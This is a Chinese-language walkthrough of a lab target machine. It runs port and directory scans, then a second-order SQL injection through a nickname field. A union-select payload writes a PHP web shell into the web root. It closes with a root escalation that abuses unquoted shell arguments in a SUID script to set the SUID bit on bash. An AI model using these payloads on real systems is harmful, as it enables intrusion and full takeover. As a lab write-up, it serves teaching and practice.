==这个靶机打下来,给我的感觉非常好。它的web入口十分隐蔽,难以撕开口子,却又并不是刻意为难。虽然web架构整体较小,但是仍然不失更像是偏实战中的漏洞挖掘==

1.信息收集

常规tcp,udp扫描以及初步脚本扫描

┌──(root㉿kali)-[/tmp/test]
└─# nmap --min-rate 1000 -p- 192.168.2.82
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-19 08:03 EST
Nmap scan report for 192.168.2.82
Host is up (0.000048s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9090/tcp open  zeus-admin
MAC Address: 08:00:27:FD:37:CA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 11.64 seconds
                                                                                                     
┌──(root㉿kali)-[/tmp/test]
└─# nmap -sV -sC -O -p9090 192.168.2.82  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-19 08:03 EST
Nmap scan report for 192.168.2.82
Host is up (0.00052s latency).

PORT     STATE SERVICE VERSION
9090/tcp open  http    Golang net/http server
| fingerprint-strings: 
|   GenericLines, SqueezeCenter_CLI: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=utf-8
|     Date: Wed, 19 Nov 2025 13:03:53 GMT
|     <!DOCTYPE html>
|     <html lang="zh-CN">
|     <head>
|     <meta charset="UTF-8" />
|     <title>Mottos</title>
|     <link rel="stylesheet" href="/static/css/index.css" />
|     <style>
|     .top-right-auth {
|     position: fixed;
|     top: 20px;
|     right: 30px;
|     font-size: 14px;
|     font-family: Arial, sans-serif;
|     z-index: 1000;
|     .top-right-auth a, .top-right-auth button {
|     color: #2980b9;
|     text-decoration: none;
|     margin-left: 10px;
|     font-weight: 600;
|     border: 1.5px solid #2980b9;
|     padding: 6px 14px;
|     border-radius: 20px;
|     background: none;
|     cursor: pointer;
|_    transition: background-color 0.3s,
|_http-title: Mottos

MAC Address: 08:00:27:FD:37:CA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 79.32 seconds

┌──(root㉿kali)-[/tmp/test]
└─# nmap --script=vuln -p22,80,9090 192.168.2.82
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-19 08:05 EST
Nmap scan report for 192.168.2.82
Host is up (0.00040s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
9090/tcp open  zeus-admin
MAC Address: 08:00:27:FD:37:CA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 37.41 seconds

可以看到靶机开放了22端口,以及80和9090两个http服务,初步脚本扫描并未发现有价值信息

web主页

┌──(root㉿kali)-[/tmp/test]
└─# curl http://192.168.2.82/                   
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<title>点击方块小游戏</title>
<style>
  body {
    font-family: "微软雅黑", Arial, sans-serif;
    text-align: center;
    margin-top: 50px;
  }
  #header {
    font-size: 48px;
    font-weight: 900;
    color: #2c3e50;
    margin-bottom: 10px;
  }
  #gameBox {
    width: 100px;
    height: 100px;
    margin: 30px auto;
    background-color: red;
    cursor: pointer;
    user-select: none;
    border-radius: 10px;
    transition: background-color 0.3s;
  }
  #score, #time {
    font-size: 24px;
    margin: 10px;
  }
  #message {
    font-size: 28px;
    color: #f00;
    margin-top: 30px;
  }
</style>
</head>
<body>

<div id="header">Mazesec</div>

<h1>点击方块小游戏</h1>
<div id="score">得分: 0</div>
<div id="time">剩余时间: 30 秒</div>
<div id="gameBox"></div>
<div id="message"></div>

<script>
  let score = 0;
  let timeLeft = 30; // 30秒倒计时
  const gameBox = document.getElementById('gameBox');
  const scoreDisplay = document.getElementById('score');
  const timeDisplay = document.getElementById('time');
  const message = document.getElementById('message');

  function getRandomColor() {
    const letters = '0123456789ABCDEF';
    let color = '#';
    for(let i=0; i<6; i++) {
      color += letters[Math.floor(Math.random()*16)];
    }
    return color;
  }

  gameBox.addEventListener('click', () => {
    if(timeLeft <= 0) return;
    score++;
    scoreDisplay.textContent = '得分: ' + score;
    gameBox.style.backgroundColor = getRandomColor();
  });

  const timer = setInterval(() => {
    timeLeft--;
    timeDisplay.textContent = '剩余时间: ' + timeLeft + ' 秒';
    if(timeLeft <= 0) {
      clearInterval(timer);
      gameBox.style.display = 'none';
      message.textContent = '游戏结束!你的得分是:' + score;
    }
  }, 1000);
</script>

</body>
</html>

9090端口

┌──(root㉿kali)-[/tmp/test]
└─# curl http://192.168.2.82:9090/
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8" />
    <title>Mottos</title>
    <link rel="stylesheet" href="/static/css/index.css" />
    <style>
         
        .top-right-auth {
            position: fixed;
            top: 20px;
            right: 30px;
            font-size: 14px;
            font-family: Arial, sans-serif;
            z-index: 1000;
        }
        .top-right-auth a, .top-right-auth button {
            color: #2980b9;
            text-decoration: none;
            margin-left: 10px;
            font-weight: 600;
            border: 1.5px solid #2980b9;
            padding: 6px 14px;
            border-radius: 20px;
            background: none;
            cursor: pointer;
            transition: background-color 0.3s, color 0.3s;
            font-size: 14px;
            font-family: Arial, sans-serif;
        }
        .top-right-auth a:hover, .top-right-auth button:hover {
            background-color: #2980b9;
            color: white;
        }
        .top-right-auth span {
            color: #555;
            font-weight: 600;
        }

         
        .modal-overlay {
            display: none;  
            position: fixed;
            top: 0; left: 0; right: 0; bottom: 0;
            background-color: rgba(0,0,0,0.5);
            z-index: 2000;
            justify-content: center;
            align-items: center;
        }
         
        .modal {
            background: white;
            padding: 20px 30px;
            border-radius: 8px;
            max-width: 400px;
            width: 90%;
            box-shadow: 0 2px 10px rgba(0,0,0,0.3);
            font-family: Arial, sans-serif;
        }
        .modal h3 {
            margin-top: 0;
            margin-bottom: 15px;
        }
        .modal input[type="text"] {
            width: 100%;
            padding: 8px 10px;
            font-size: 16px;
            border: 1px solid #ccc;
            border-radius: 4px;
            box-sizing: border-box;
            margin-bottom: 20px;
        }
        .modal-buttons {
            text-align: right;
        }
        .modal-buttons button {
            padding: 6px 14px;
            font-size: 14px;
            border-radius: 20px;
            border: 1.5px solid #2980b9;
            background: none;
            color: #2980b9;
            font-weight: 600;
            cursor: pointer;
            transition: background-color 0.3s, color 0.3s;
            margin-left: 10px;
        }
        .modal-buttons button:hover {
            background-color: #2980b9;
            color: white;
        }
    </style>
</head>
<body>

<div class="top-right-auth">
    <a href="/mymottos">查看我的Motto</a>
    <a href="/myinfo">查看我的信息</a>
    <button id="openModalBtn" type="button">写一个Motto</button>
</div>

<h2 class="title">Mottos</h2>
<table class="user-table">
    <thead>
    <tr>
        <th>用户名</th>
        <th>Motto</th>
    </tr>
    </thead>
    <tbody>
    
    <tr>
        <td>ll104567</td>
        <td>认识的人越多 我就越喜欢狗.</td>
    </tr>
    
    <tr>
        <td>Yliken</td>
        <td>他说你任何为人称道的美丽 不及他第一次遇到你</td>
    </tr>
    
    <tr>
        <td>Yliken</td>
        <td>你是我患得患失的梦,我是你可有可无的人。毕竟这穿越山河的箭,刺的都是用情致疾的人</td>
    </tr>
    
    <tr>
        <td>ta0</td>
        <td>真正的大师永远都怀一颗学徒的心</td>
    </tr>
    
    <tr>
        <td>LingMj</td>
        <td>The best way to learn is to teach. Keep writing, keep sharing!</td>
    </tr>
    
    <tr>
        <td>c1trus</td>
        <td>the quieter you become, the more you can hear</td>
    </tr>
    
    <tr>
        <td>sunset</td>
        <td>Records of life and study at sunset.</td>
    </tr>
    
    <tr>
        <td>RedBean</td>
        <td>红豆生南国 春来发几枝 愿君多采撷 此物最相思</td>
    </tr>
    
    <tr>
        <td>HYH</td>
        <td>想念的终究会相遇吧</td>
    </tr>
    
    <tr>
        <td>DingTom</td>
        <td>where is my shell?</td>
    </tr>
    
    </tbody>
</table>


<div class="modal-overlay" id="modalOverlay">
    <div class="modal" role="dialog" aria-modal="true" aria-labelledby="modalTitle">
        <h3 id="modalTitle">写一个Motto</h3>
        <form id="mottoForm" method="POST" action="/">
            <input type="text" name="motto" id="mottoInput" placeholder="请输入一句话" required maxlength="100" />
            <div class="modal-buttons">
                <button type="button" id="cancelBtn">取消</button>
                <button type="submit">提交</button>
            </div>
        </form>
    </div>
</div>

<script>
    
    const openModalBtn = document.getElementById('openModalBtn');
    const modalOverlay = document.getElementById('modalOverlay');
    const cancelBtn = document.getElementById('cancelBtn');
    const mottoInput = document.getElementById('mottoInput');

    
    openModalBtn.addEventListener('click', () => {
        modalOverlay.style.display = 'flex';
        mottoInput.value = '';
        mottoInput.focus();
    });

    
    cancelBtn.addEventListener('click', () => {
        modalOverlay.style.display = 'none';
    });

    
    modalOverlay.addEventListener('click', (e) => {
        if (e.target === modalOverlay) {
            modalOverlay.style.display = 'none';
        }
    });

    
    document.getElementById('mottoForm').addEventListener('submit', (e) => {
        if (!mottoInput.value.trim()) {
            e.preventDefault();
            alert('请输入一句话');
            mottoInput.focus();
        }
    });
</script>

</body>
</html>

80端口是一个小游戏,9090端口是座右铭留言板

分别进行目录爆破,以及执行扩展名扫描,查看是否有隐藏信息
对80端口的目录爆破以及扩展名扫描,9090端口的扩展名扫描均无有价值信息,在此不列出

┌──(root㉿kali)-[/tmp/test]
└─# dirsearch -u http://192.168.2.82:9090/

Target: http://192.168.2.82:9090/

[08:10:36] Starting: 
[08:11:10] 200 -    1KB - /login                                            
[08:11:10] 301 -   41B  - /login/  ->  /login                               
[08:11:22] 200 -    1KB - /register                                         
[08:11:27] 301 -   43B  - /static  ->  /static/

可以看到有login以及register路由

注册账号进入在myinfo路由发现可以修改昵称,尝试修改昵称为留言板中存在的昵称,发现是可以修改成功的

修改昵称为Yliken然后再次访问mymottos路由可以看到多出了原属Yliken的motto,可以猜测mymottos路由执行了sql语句查询

尝试修改用户名为1' or 1=1#,可以修改成功,再次访问mymottos路由,发现列出了所有的motto

至此已经可以判断此处存在二阶sql注入,漏洞成因为,在myinfo路由进行昵称修改未进行过滤,在访问mymottos路由时进行sql语句的渲染,从而产生漏洞

2.web渗透

通过select user()可以得到数据库用户为root,所以可以写入木马到web目录,进而获取反弹shell

==注:有些函数被禁用,具体可在phpinfo中查看==

1' union select 5,6,"<?php phpinfo();exec($_POST[1]);?>" into outfile "/var/www/html/exec.php"#

写入木马后访问http://192.168.2.82/exec.php即可

3.提权

接到反弹shell后,在opt下发现具有s位的程序,并且在家目录发现备份文件

www-data@motto:/opt$ ls -al
total 32
drwxr-xr-x  2 root root  4096 Jul 31 08:27 .
drwxr-xr-x 19 root root  4096 Jul 31 03:46 ..
-r-xr-----  1 root root  1709 Jul 31 02:45 new.sh
-rwsr-sr-x  1 root root 16864 Jul 31 08:27 run_newsh

www-data@motto:/home/redbean/.backup$ ls -la
total 16
drwxr-xr-x 2 root    root    4096 Jul 31 08:27 .
drwxr-xr-x 3 redbean redbean 4096 Jul 31 08:29 ..
-r--r--r-- 1 root    root    1709 Jul 31 02:46 new.sh
-rw-r--r-- 1 root    root     509 Jul 31 08:27 run_newsh.c

查看程序逻辑可知,elf执行接受第一个参数,然后以root权限运行sh文件,并且传递参数

[ "$1" = "flag" ] && exit 2
[ $1 = "flag" ] && chmod +s /bin/bash

关键在于这两行

1.字分割(与bash版本有关)

**==$1会进行字分割以及文件名扩展,"$1"则不会
例如,如果我给定$1为flag (注意flag后有空格),则"$1"则为flag (空格),从而判等不成立,而$1则会因为字分割,从而导致$1=flag,$2=空格,从而判等为bash加上s位

www-data@motto:/opt$ ./run_newsh 'flag '

▓▒░ Loading system diagnostics ░▒▓

[INFO] Initializing environment checks:
 ● Module A status: OK (ver 2.9.432)
 ● Module B status: OK (ver 4.9.331)
 ● Module C status: OK (ver 3.2.375)
Random seed value: 10307
[INFO] Evaluating input parameters...
[INFO] Running diagnostic sequence:
 → Executing test 1 of 3
 → Executing test 2 of 3
 → Executing test 3 of 3

Waiting period: 6 seconds
>> Waiting T-6 seconds...
>> Countdown: 5
>> Waiting T-4 seconds...
>> Countdown: 3
>> Waiting T-2 seconds...
>> Countdown: 1
>> Waiting T-0 seconds...
Diagnostics complete.
Thank you for using the system monitor.
[STATS] Summary Report:
    Processes checked: 48
/opt/new.sh: line 60: bc: command not found
/opt/new.sh: line 60: echo: write error: Broken pipe
    CPU load average: 
    Uptime (hours): 72
www-data@motto:/opt$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash

可以看到bash加上了s位

2.文件名扩展

传入参数星号或问号作为通配符,从而"$1"判等不成立,而对于$1,则会在视作星号或问号为通配符在本级目录下查找文件,从而成功判等

www-data@motto:/tmp$ /opt/run_newsh 'f*'

▓▒░ Loading system diagnostics ░▒▓

[INFO] Initializing environment checks:
 ● Module A status: OK (ver 3.8.498)
 ● Module B status: OK (ver 2.11.255)
 ● Module C status: OK (ver 4.19.266)
Random seed value: 2185
[INFO] Evaluating input parameters...
[INFO] Running diagnostic sequence:
 → Executing test 1 of 3
 → Executing test 2 of 3
 → Executing test 3 of 3

Waiting period: 3 seconds
>> Countdown: 3
>> Waiting T-2 seconds...
>> Countdown: 1
>> Waiting T-0 seconds...
System stable.
Thank you for using the system monitor.
[STATS] Summary Report:
    Processes checked: 31
/opt/new.sh: line 60: bc: command not found
/opt/new.sh: line 60: echo: write error: Broken pipe
    CPU load average: 
    Uptime (hours): 56
www-data@motto:/tmp$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash

可以看到bash也被加上s位,进而即可提权

www-data@motto:/tmp$ bash -p
bash-5.0# cat /root/root.txt && cat /home/redbean/user.txt 
flag{796f75676574726f6f74627574796f7563616e6e6f74676574686572}
flag{796f756765747265646265616e}